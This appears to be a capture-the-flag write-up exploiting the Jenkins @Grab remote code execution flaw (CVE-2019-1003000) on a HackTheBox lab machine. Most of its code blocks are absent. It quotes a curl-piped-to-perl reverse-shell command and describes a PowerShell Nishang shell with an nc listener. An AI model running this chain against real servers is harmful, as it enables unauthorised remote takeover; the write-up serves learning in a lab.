Jenkins RCE Vulnerability

Hi guys whatsup!

Orange Tsai published a really interesting writeup on their discovery of CVE-2019–1003000, an Unathenticated remote code exeuction (RCE) in Jenkins. There was a box from HackTheBox.eu that ran Jenkins, and while the configuration wasn’t perfect for this kind of test, I decided to play with it and see what I could figure out. I’ll get the exploit working with a new payload so that it runs on the Windows environment.

Jenkins has a Pipeline feature which is implemented in Groovy. The exploit author discovered that the user issue an unauthenticated GET request to provide Groovy Meta-Programming input. In this input, the attacker can use the @Grab annotation to invoke Grape, the built-in JAR dependency management tool for Groovy, and have it download a jar and run it. The write-up goes into much more detail if you want more background.

I’m going to be testing on Jeeves, from HackTheBox.eu. This is a good place to start because it’s already set up with Jenkins installed. The web interface for Jenkins is available on port 50000, at http://10.10.10.63:50000/askjeeves.

Jeeves is not perfect. This host has authentication turned off for Jenkins. This box was in fact easily solved by just by visiting the Script Console and running Groovy script there. Still, I’ll see if I can get execution going using the path provided, and trusting that even without auth, I would have access.

I will also have to update the payload for a Windows target.

If the point of the exploit is to create a GET request that gets Jenkins to connect back to my machine and request the jar file, that seems like a good place to start. In the POC video, they show visiting /securityRealm/user/admin and getting back a page about the admin, even without auth. I can reproduce that by visiting http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/:

Now I’ll visit the workflow plugin’s checkScriptCompile API endpoint with some Groovy that should use the @Grab meta annotation to request the jar from me. I’ll start a python3 -m http.server 80 and visit:

In that url, I provide a value parameter which is the Groovy script to run. It uses %0A for newlines. Here’s how that script looks unencoded:

It defines the parameters for the ‘orange.tw’ package, including where to get it, and then invokes @Grab to fetch it.

On visiting the url, I do see activity on my web server:

Very cool! It tried to download a pom file, and when that failed, went for poc-1.jar. That matches the module and the version from the url. I can change module to “0xdf” and version to “223” in the url and see that reflected:

The web browser is showing a big error message that it can’t resolve the dependency:

The blog gives an example payload that looks like this:

I can clearly see that it will exec /bin/bash -c curl orange.tw/bc.pl | perl -. I can assume that bc.pl is a reverse shell.

This will have to be modified for a Windows target. I’ll have it run PowerShell to get and Invoke a Nishang shell:

Now I’ll build that into a jar. Compile the java:

Make the appropriate metadata:

Bundle it into a jar:

Next I’ll move the jar into the path expected by the GET request:

I’ll also get a copy of Invoke-PowerShellTcp.ps1 and named it shell.ps1 to match what’s in the jar:

Then I’ll grab the example line and paste it at the end of the file, with my IP/port information:

Now the PowerShell will request this file, and execute it loading all of the functions into the PowerShell session, and then Invoking the one that creates a shell connection back to me.

I’ll open a nc listener on port 443. Now I just need to visit the url again. On refresh, I first see activity in the web server, the requet for the jar file followed 6 seconds later by the request for shell.ps1:

Shortly after that, I get a connection on nc, and I have a shell:

The first time I tried this, after Jenkins downloaded my jar file, I got the following error message in the web browser:

java.lang.UnsupportedClassVersionError: Orange has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

Basically, I compiled the class file using a later version of java, and it can’t understand it.

According to the Wikipedia page on Java Class Files, version 55 is Java SE 11, and 52 is Java SE 8.

I installed Java 8 on my computer with

Then I used update-alternatives to select the right version for now:

Then I recompiled and re-made my jar, and it worked!

If I mess up something in the jar file, I can’t just update it locally and refresh. When I do that, Grape thinks the correct module is already there, and doesn’t go to re-fetch it. Obviously I can reset the box at this point to start over. But I can also rebuild it with the next version number.

For example, if I uploaded with a version of java that isn’t compatible with the box, I can recompile that locally, rebuild the jar, and everything else using version 224 instead of 223. I’ll need a new directory and filename for the jar:

Now I update the version in the url and refresh, and I get a shell